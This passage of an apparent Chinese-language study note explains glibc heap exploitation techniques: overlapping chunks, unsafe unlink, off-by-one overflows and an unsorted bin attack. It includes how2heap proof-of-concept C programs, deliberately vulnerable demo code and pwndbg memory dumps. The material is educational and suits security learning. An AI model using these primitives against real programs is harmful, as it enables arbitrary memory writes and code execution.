<string.h> #include <stdint.h> int main(int argc , char* argv[]){ intptr_t *p1,*p2,*p3,*p4; fprintf(stderr, "\n這是一個簡單的區塊重疊問題\n\n"); fprintf(stderr, "我們先分配三個區塊在堆上\n"); p1 = malloc(0x100 - 8); p2 = malloc(0x100 - 8); p3 = malloc(0x80 - 8); fprintf(stderr, "這三個區塊被分配在以下位置:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); memset(p1, '1', 0x100 - 8); memset(p2, '2', 0x100 - 8); memset(p3, '3', 0x80 - 8); fprintf(stderr, "\n現在我們釋放區塊 p2\n"); free(p2); fprintf(stderr, "區塊 p2 現在位於未排序的 bin 中,準備為可能的新 malloc() 提供服務,其大小相同\n"); fprintf(stderr, "現在我們模擬一個溢出,這可以覆蓋已釋放的區塊 p2 的大小。\n"); fprintf(stderr, "對於一個簡單的程序,最後 3 個位的值並不重要;" "然而,為了保持堆的穩定性,我們最好將最不重要的位標記為 1(prev_inuse)," "以確保 p1 不會被誤認為是一個空閒區塊。\n"); int evil_chunk_size = 0x181; int evil_region_size = 0x180 - 8; fprintf(stderr, "我們將把區塊 p2 的大小設為 %d,這將給我們一個 %d 的區域大小\n", evil_chunk_size, evil_region_size); *(p2-1) = evil_chunk_size; // 我們正在覆蓋區塊 p2 的 "size" 欄位 fprintf(stderr, "\n現在我們分配另一個區塊,其大小等於區塊 p2 修改後的數據大小\n"); fprintf(stderr, "這次 malloc 將由先前釋放的區塊提供服務,該區塊停留在未排序的 bin 中," "其大小已被我們修改\n"); p4 = malloc(evil_region_size); fprintf(stderr, "\np4 已被分配在 %p 並結束於 %p\n", (char *)p4, (char *)p4+evil_region_size); fprintf(stderr, "p3 開始於 %p 並結束於 %p\n", (char *)p3, (char *)p3+0x80-8); fprintf(stderr, "p4 應該與 p3 重疊,在這種情況下 p4 包含了所有的 p3。\n"); fprintf(stderr, "\n現在,任何複製到區塊 p4 的內容都可以覆蓋區塊 p3 中的數據," "並且寫入區塊 p3 的數據可以覆蓋存儲在區塊 p4 中的數據。\n\n"); fprintf(stderr, "讓我們來舉個例子。現在,我們有:\n"); fprintf(stderr, "p4 = %s\n", (char *)p4); fprintf(stderr, "p3 = %s\n", (char *)p3); fprintf(stderr, "\n如果我們 memset(p4, '4', %d),我們將得到:\n", evil_region_size); memset(p4, '4', evil_region_size); fprintf(stderr, "p4 = %s\n", (char *)p4); fprintf(stderr, "p3 = %s\n", (char *)p3); fprintf(stderr, "\n如果我們接著 memset(p3, '3', 80),我們將得到:\n"); memset(p3, '3', 80); fprintf(stderr, "p4 = %s\n", (char *)p4); fprintf(stderr, "p3 = %s\n", (char *)p3); } ``` 首先先malloc了三塊,然後memeset到next chunk size前面 ```shell pwndbg> parseheap addr prev size status fd bk 0x9f2000 0x0 0x100 Used None None 0x9f2100 0x3131313131313131 0x100 Used None None 0x9f2200 0x3232323232323232 0x80 Used None None ``` ``` pwndbg> x/80xg 0x9f2000 0x9f2000: 0x0000000000000000 0x0000000000000101 0x9f2010: 0x3131313131313131 0x3131313131313131 0x9f2020: 0x3131313131313131 0x3131313131313131 0x9f2030: 0x3131313131313131 0x3131313131313131 0x9f2040: 0x3131313131313131 0x3131313131313131 0x9f2050: 0x3131313131313131 0x3131313131313131 0x9f2060: 0x3131313131313131 0x3131313131313131 0x9f2070: 0x3131313131313131 0x3131313131313131 0x9f2080: 0x3131313131313131 0x3131313131313131 0x9f2090: 0x3131313131313131 0x3131313131313131 0x9f20a0: 0x3131313131313131 0x3131313131313131 0x9f20b0: 0x3131313131313131 0x3131313131313131 0x9f20c0: 0x3131313131313131 0x3131313131313131 0x9f20d0: 0x3131313131313131 0x3131313131313131 0x9f20e0: 0x3131313131313131 0x3131313131313131 0x9f20f0: 0x3131313131313131 0x3131313131313131 0x9f2100: 0x3131313131313131 0x0000000000000101 0x9f2110: 0x3232323232323232 0x3232323232323232 0x9f2120: 0x3232323232323232 0x3232323232323232 0x9f2130: 0x3232323232323232 0x3232323232323232 0x9f2140: 0x3232323232323232 0x3232323232323232 0x9f2150: 0x3232323232323232 0x3232323232323232 0x9f2160: 0x3232323232323232 0x3232323232323232 0x9f2170: 0x3232323232323232 0x3232323232323232 0x9f2180: 0x3232323232323232 0x3232323232323232 0x9f2190: 0x3232323232323232 0x3232323232323232 0x9f21a0: 0x3232323232323232 0x3232323232323232 0x9f21b0: 0x3232323232323232 0x3232323232323232 0x9f21c0: 0x3232323232323232 0x3232323232323232 0x9f21d0: 0x3232323232323232 0x3232323232323232 0x9f21e0: 0x3232323232323232 0x3232323232323232 0x9f21f0: 0x3232323232323232 0x3232323232323232 0x9f2200: 0x3232323232323232 0x0000000000000081 0x9f2210: 0x3333333333333333 0x3333333333333333 0x9f2220: 0x3333333333333333 0x3333333333333333 0x9f2230: 0x3333333333333333 0x3333333333333333 0x9f2240: 0x3333333333333333 0x3333333333333333 0x9f2250: 0x3333333333333333 0x3333333333333333 0x9f2260: 0x3333333333333333 0x3333333333333333 0x9f2270: 0x3333333333333333 0x3333333333333333 ``` 現在我們free掉chunk 2,他會進到unsorted bin ``` last_remainder: 0x0 (size : 0x0) unsortbin: 0x9f2100 (size : 0x100) ``` 接下來假設有溢出問題,可以蓋掉chunk2 size ``` pwndbg> x/80xg 0x9f2000 0x9f2000: 0x0000000000000000 0x0000000000000101 0x9f2010: 0x3131313131313131 0x3131313131313131 0x9f2020: 0x3131313131313131 0x3131313131313131 0x9f2030: 0x3131313131313131 0x3131313131313131 0x9f2040: 0x3131313131313131 0x3131313131313131 0x9f2050: 0x3131313131313131 0x3131313131313131 0x9f2060: 0x3131313131313131 0x3131313131313131 0x9f2070: 0x3131313131313131 0x3131313131313131 0x9f2080: 0x3131313131313131 0x3131313131313131 0x9f2090: 0x3131313131313131 0x3131313131313131 0x9f20a0: 0x3131313131313131 0x3131313131313131 0x9f20b0: 0x3131313131313131 0x3131313131313131 0x9f20c0: 0x3131313131313131 0x3131313131313131 0x9f20d0: 0x3131313131313131 0x3131313131313131 0x9f20e0: 0x3131313131313131 0x3131313131313131 0x9f20f0: 0x3131313131313131 0x3131313131313131 0x9f2100: 0x3131313131313131 0x0000000000000181 0x9f2110: 0x000070cfb3cd1b78 0x000070cfb3cd1b78 0x9f2120: 0x3232323232323232 0x3232323232323232 0x9f2130: 0x3232323232323232 0x3232323232323232 0x9f2140: 0x3232323232323232 0x3232323232323232 0x9f2150: 0x3232323232323232 0x3232323232323232 0x9f2160: 0x3232323232323232 0x3232323232323232 0x9f2170: 0x3232323232323232 0x3232323232323232 0x9f2180: 0x3232323232323232 0x3232323232323232 0x9f2190: 0x3232323232323232 0x3232323232323232 0x9f21a0: 0x3232323232323232 0x3232323232323232 0x9f21b0: 0x3232323232323232 0x3232323232323232 0x9f21c0: 0x3232323232323232 0x3232323232323232 0x9f21d0: 0x3232323232323232 0x3232323232323232 0x9f21e0: 0x3232323232323232 0x3232323232323232 0x9f21f0: 0x3232323232323232 0x3232323232323232 0x9f2200: 0x0000000000000100 0x0000000000000080 0x9f2210: 0x3333333333333333 0x3333333333333333 0x9f2220: 0x3333333333333333 0x3333333333333333 0x9f2230: 0x3333333333333333 0x3333333333333333 0x9f2240: 0x3333333333333333 0x3333333333333333 0x9f2250: 0x3333333333333333 0x3333333333333333 0x9f2260: 0x3333333333333333 0x3333333333333333 0x9f2270: 0x3333333333333333 0x3333333333333333 ``` 0x101變成0x181 ``` last_remainder: 0x0 (size : 0x0) unsortbin: 0x9f2100 (size : 0x180) ``` 這時候我們去malloc一個0x178大小的chunk 此時chunk 4和chunk 3大小重疊 可以覆蓋到其他chunk上 ### how2heap(glibc 2.23 -2) ```c /* 又一個簡單的重疊chunk問題。 這個技術取自於 https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf. 這也被稱為非鄰近釋放chunk合併攻擊。 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> int main(){ intptr_t *p1,*p2,*p3,*p4,*p5,*p6; unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6; int prev_in_use = 0x1; fprintf(stderr, "\n這是一個簡單的chunk重疊問題"); fprintf(stderr, "\n這也被稱為非鄰近釋放chunk合併攻擊\n"); fprintf(stderr, "\n讓我們開始在堆上分配5個chunk:"); p1 = malloc(1000); p2 = malloc(1000); p3 = malloc(1000); p4 = malloc(1000); p5 = malloc(1000); real_size_p1 = malloc_usable_size(p1); real_size_p2 = malloc_usable_size(p2); real_size_p3 = malloc_usable_size(p3); real_size_p4 = malloc_usable_size(p4); real_size_p5 = malloc_usable_size(p5); fprintf(stderr, "\n\nchunk p1 從 %p 到 %p", p1, (unsigned char *)p1+malloc_usable_size(p1)); fprintf(stderr, "\nchunk p2 從 %p 到 %p", p2, (unsigned char *)p2+malloc_usable_size(p2)); fprintf(stderr, "\nchunk p3 從 %p 到 %p", p3, (unsigned char *)p3+malloc_usable_size(p3)); fprintf(stderr, "\nchunk p4 從 %p 到 %p", p4, (unsigned char *)p4+malloc_usable_size(p4)); fprintf(stderr, "\nchunk p5 從 %p 到 %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5)); memset(p1,'A',real_size_p1); memset(p2,'B',real_size_p2); memset(p3,'C',real_size_p3); memset(p4,'D',real_size_p4); memset(p5,'E',real_size_p5); fprintf(stderr, "\n讓我們釋放chunk p4。\n在這種情況下,這不會與top chunk合併,因為我們有p5緊挨著top chunk在p4之後\n"); free(p4); fprintf(stderr, "\n讓我們在chunk p1上觸發漏洞,覆寫使用中的chunk p2的大小\n使用chunk_p2的大小+chunk_p3的大小\n"); *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE fprintf(stderr, "\n現在在對p2進行free()操作期間,分配器會被愚弄,以為\n下一個chunk是p4(因為p2 + size_p2現在指向p4)\n"); fprintf(stderr, "\n這個操作將基本上創建一個錯誤地包含p3的大free chunk\n"); free(p2); fprintf(stderr, "\n現在讓我們分配一個新chunk,其大小可以由先前釋放的chunk滿足\n"); p6 = malloc(2000); real_size_p6 = malloc_usable_size(p6); fprintf(stderr, "\n我們的malloc()已經由我們製造的大free chunk滿足,現在p6和p3重疊,\n我們可以通過在chunk p6中寫入來覆寫p3中的數據\n"); fprintf(stderr, "\nchunk p6 從 %p 到 %p", p6, (unsigned char *)p6+real_size_p6); fprintf(stderr, "\nchunk p3 從 %p 到 %p\n", p3, (unsigned char *) p3+real_size_p3); fprintf(stderr, "\nchunk p3中的數據: \n\n"); fprintf(stderr, "%s\n",(char *)p3); fprintf(stderr, "\n讓我們在p6中寫入一些內容\n"); memset(p6,'F',1500); fprintf(stderr, "\nchunk p3中的數據: \n\n"); fprintf(stderr, "%s\n",(char *)p3); } ``` 首先先malloc了五個chunk ``` pwndbg> parseheap addr prev size status fd bk 0xbdb000 0x0 0x3f0 Used None None 0xbdb3f0 0x0 0x3f0 Used None None 0xbdb7e0 0x0 0x3f0 Used None None 0xbdbbd0 0x0 0x3f0 Used None None 0xbdbfc0 0x0 0x3f0 Used None None ``` 然後memset ``` pwndbg> parseheap addr prev size status fd bk 0x2159000 0x0 0x3f0 Used None None 0x21593f0 0x4141414141414141 0x3f0 Used None None 0x21597e0 0x4242424242424242 0x3f0 Used None None 0x2159bd0 0x4343434343434343 0x3f0 Used None None 0x2159fc0 0x4444444444444444 0x3f0 Used None None ``` free掉chunk 4 ``` unsortbin: 0x2159bd0 (size : 0x3f0) ``` 接下來改寫chunk2的大小,讓他以為下個chunk是 4 (修改為chunk 2 + chunk 3大小 0x3f0+0x3f0=0x7e0) ``` addr prev size status fd bk 0x2159000 0x0 0x3f0 Used None None 0x21593f0 0x4141414141414141 0x7e0 Used None None 0x2159bd0 0x4343434343434343 0x3f0 Freed 0x771ada8d5b78 0x771ada8d5b78 0x2159fc0 0x3f0 0x3f0 Used None None ``` free掉chunk 2後會把chunk 3一起包進去 malloc 2000就可以任意寫chunk3了 ## Unsafe unlink(Glibc 2.31) ### 原理 先假設我們現在有兩個ptr,ptr1、ptr2(存在一個陣列)指向兩塊malloc的記憶體 ``` | | #ptr-0x18 | | #ptr-0x10 | | #ptr-0x8 | ptr1 | | ptr2 | ``` ``` -------------------------- |prev size/data| size | | fd | bk | <-ptr1 | | | | | | -------------------------- |prev size/data| size | | fd | bk | <-ptr2 | | | | | | -------------------------- ``` 內容具體長這樣,兩塊0x430大小的chunk ``` -------------------------- | 0 | 0x431 | | 0 | 0 | <-ptr1 | | | | | | -------------------------- | 0 | 0x431 | | 0 | 0 | <-ptr2 | | | | | | -------------------------- ``` 這邊有個越界寫1 byte的漏洞,我這樣寫 ``` --------------------------- <-ptr1 | 0 | 0x431 | | 0 | 0x421 | | &ptr1-0x18 |&ptr1-0x10| | payload | payload | --------------------------- <-ptr2 | 0x420 | 0x430 | #這邊多寫一個byte把0x431寫成0x430 | 0 | 0 | | | | | | | --------------------------- ``` 首先看到0x430,P bit是0他會以為上一塊是free chunk,想跟上一塊做合併 看下方source code可以看到他抓offset抓prev size抓到了0x420所以往前抓到了0x421那行我們做的那邊free chunk,開始consolidate ```c /* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating"); unlink_chunk (av, p); } ``` https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L4326 進六步檢查 先檢查pre size,因為我們改寫所以相等 -> OK ```c if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size"); ``` 再來,這邊簡單來說就是讓我們做的fake chunk fd指向fd內容,bk指向bk內容 ```c mchunkptr fd = p->fd; mchunkptr bk = p->bk; ``` 所以變成 ``` --------------------------- | 0 | 0x431 | | 0 | 0x421 | <-ptr1 | &ptr1-0x18 |&ptr1-0x10| #分別為fd、bk | payload | payload | --------------------------- | 0x420 | 0x430 | #這邊多寫一個byte把0x431寫成0x430 | 0 | 0 | <-ptr2 | | | | | | --------------------------- ``` ``` fake chunk fd -> | | #ptr-0x18 fake chunk bk -> | | #ptr-0x10 | | #ptr-0x8 | ptr1 | | ptr2 | ``` 再來進檢查,fake chunk fd指向chunk的bk(就是ptr1)指向是否跟p(就是剛剛算的offset)指向位置相同 ```c if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) malloc_printerr ("corrupted double-linked list"); ``` 這邊把陣列當作chunk的話 ``` |prev/data| #ptr-0x18 | size | #ptr-0x10 | (fd) | #ptr-0x8 | ptr1(bk)| | ptr2 | ``` 很顯然的p跟ptr1指向fake chunk跟p指向的位置相同 -> OK 再來是,fake chunk bk指向chunk的fd(就是ptr1)指向是否跟p(就是剛剛算的offset)指向位置相同 這邊把陣列當作chunk的話 ``` | | #ptr-0x18 |prev/data| #ptr-0x10 | size | #ptr-0x8 | ptr1(fd)| | ptr2(bk)| ``` 如同上面,很顯然的p跟ptr1指向fake chunk跟p指向的位置相同 -> OK 這邊成功bypass保護機制 最後unlink ```c fd->bk = bk; bk->fd = fd; ``` 就是 ``` |prev/data| #ptr-0x18 <- fake chunk fd | size | #ptr-0x10 <- fake chunk bk | (fd) | #ptr-0x8 | ptr1(bk)| | ptr2 | ``` fake chunk fd指向的bk(ptr1)會指向fake chunk bk指向的位置(ptr1-0x10) ``` | | #ptr-0x18 <- fake chunk fd |prev/data| #ptr-0x10 <- fake chunk bk | size | #ptr-0x8 | ptr1(fd)| | ptr2(bk)| ``` fake chunk bk指向的fd(ptr1)會指向fake chunk fd指向的位置(ptr1-0x18) Unlink結束,最後發現ptr1現在指向的位置是ptr1-0x18 通常我們的ptr1是可以任意寫他指向的位置的 所以可以寫ptr1-0x18,一路往下寫,把ptr1改寫成任意位置,來達到任意寫 ``` | aaa... | #ptr-0x18 | aaa... | #ptr-0x10 | aaa... | #ptr-0x8 |pwn addr| | ptr2 | ``` ptr1->pwn addr 可以任意寫入pwn addr(可能是malloc hook之類的來RCE) ### 一些越界1 byte的例子 #### demo1 ```c= #include <stdio.h> #include <stdlib.h> int my_gets(char *ptr,int size) { int i; for(i=0;i<=size;i++) { ptr[i]=getchar(); } return i; } int main() { void *chunk1,*chunk2; chunk1=malloc(16); chunk2=malloc(16); puts("Get Input:"); my_gets(chunk1,16); return 0; } ``` for循環寫入沒做好,多寫了一個byte ![image](https://hackmd.io/_uploads/SkYQ83ZtC.png) ``` pwndbg> x/30xg 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000021 0x5555555592a0: 0x6161616161616161 0x6161616161616161 0x5555555592b0: 0x0000000000000061 0x0000000000000021 <-prev越界多寫一個 0x5555555592c0: 0x0000000000000000 0x0000000000000000 0x5555555592d0: 0x0000000000000000 0x0000000000000411 0x5555555592e0: 0x75706e4920746547 0x00000000000a3a74 ``` #### demo2 ```c= #include <stdio.h> #include <stdlib.h> int main(void) { char buffer[40]=""; void *chunk1; chunk1=malloc(24); puts("Get Input"); gets(buffer); if(strlen(buffer)==24) { strcpy(chunk1,buffer); } return 0; } ``` strlen()跟strcpy()不一致產生的問題,strlen在計算長度時並沒有把`\x00`算進去,導致strcpy()進chunk1多寫一個\x00 ``` pwndbg> x/30xg 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000021 0x5555555592a0: 0x0000000000000000 0x0000000000000000 0x5555555592b0: 0x0000000000000000 0x0000000000000411 0x5555555592c0: 0x75706e4920746547 0x0000000000000a74 0x5555555592d0: 0x0000000000000000 0x0000000000000000 ``` 這邊輸入24個a,發現下個chunk size被蓋成400,蓋掉P bit了 ``` pwndbg> x/30xg 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000021 0x5555555592a0: 0x6161616161616161 0x6161616161616161 0x5555555592b0: 0x6161616161616161 0x0000000000000400 0x5555555592c0: 0x75706e4920746547 0x0000000000000a74 0x5555555592d0: 0x0000000000000000 0x0000000000000000 ``` ## unsorted bin attack ### 原理 看到這段,在拿unsored bin的時候,會根據以下 ```c victim = unsorted_chunks (av)->bk bck = victim->bk unsorted_chunks (av)->bk = bck bck->fd = unsorted_chunks (av) ``` 加入一張圖方便理解 ![image](https://hackmd.io/_uploads/BJL0QiIAA.png) 他會把main arena中的bk給 victim,也就是victim就是chunk 3 把chunk 3 給 chunk bck,也就是bck = chunk 2 之後把main arena的bk給chunk 2 bck 的fd 指回 main arena,完成unlink 可以從第二行下手 如果我們透過overflow偽造 chunk 3(victim) 的 bk 我們可以將main arena + 88/96 address 寫入到 bck 的 fd 指向的位置 ### how2heap ```c #include <stdio.h> #include <stdlib.h> int main(){ fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"); fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n"); unsigned long stack_var=0; fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var); unsigned long *p=malloc(400); fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p); fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with" "the first one during the free()\n\n"); malloc(500); free(p); fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " "point to %p\n",(void*)p[1]); //------------VULNERABILITY----------- p[1]=(unsigned long)(&stack_var-2); fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]); //------------------------------------ malloc(400); fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been " "rewritten:\n"); fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var); } ``` 我們先malloc兩塊chunk chunk 1 size 400 chunk 2 size 500 之後free chunk 1 chunk 1進入到unsorted bin中 目前bk會指回main arena 我們目標是把stack某位置改寫 我們UAF去修改掉unsorted bin中chunk 的bk 成stack - 0x10 malloc回來就可以寫main arena address 到stack上 ```c bck = victim->bk (stack - 0x10) unsorted_chunks (av)->bk = bck bck->fd (stack) = unsorted_chunks (av) (main arena address) ``` ## book https://github.com/limitedeternity/HeapLAB/blob/main/HeapLab%20-%20GLIBC%20Heap%20Exploitation.pdf ## 一些連結 basic https://blog.csdn.net/songchuwang1868/article/details/89951543 Pwngdb https://github.com/scwuaptx/Pwngdb 與 gef 混用 https://gist.githubusercontent.com/LJP-TW/2edf8b66b61e91a232f76acc487bbd10/raw/a36ef8256fb934f4cf9cdbdea65f6ada2e383b84/.gdbinit link https://0x434b.dev/overview-of-glibc-heap-exploitation-techniques/#smallbin https://www.openeuler.org/zh/blog/wangshuo/Glibc%20Malloc%20Principle/Glibc_Malloc_Principle.html ### 等待寫 https://github.com/CTFTraining/HuXiang_2019_pwn_HackNote/tree/master https://makabaka-yyds.github.io/2022/05/09/glibc2-29%E4%BB%A5%E4%B8%8A%E7%9A%84off-by-null/ ### 題目 https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2016_zctf_note2 https://github.com/veritas501/hctf2018/blob/master/pwn-heapstorm_zero/heapstorm_zero.c https://nocbtm.github.io/2020/02/28/off-by-null/#%E5%8F%A6%E4%B8%80%E7%A7%8D%E5%B8%83%E5%B1%80 ### ref https://bbs.kanxue.com/thread-257901.htm https://nopnoping.github.io/off-by-one%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/ https://makabaka-yyds.github.io/2022/05/09/glibc2-29%E4%BB%A5%E4%B8%8A%E7%9A%84off-by-null/ https://github.com/kaiiiz/NTU-Computer-Security-2021-Fall/blob/main/Pwn/Pwn%20II/malloc_internal.c https://blog.csdn.net/qq_41202237/article/details/113400567 https://github.com/limitedeternity/HeapLAB/tree/main?tab=readme-ov-file https://ctf-wiki.org/en/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack/#tcache-poisoning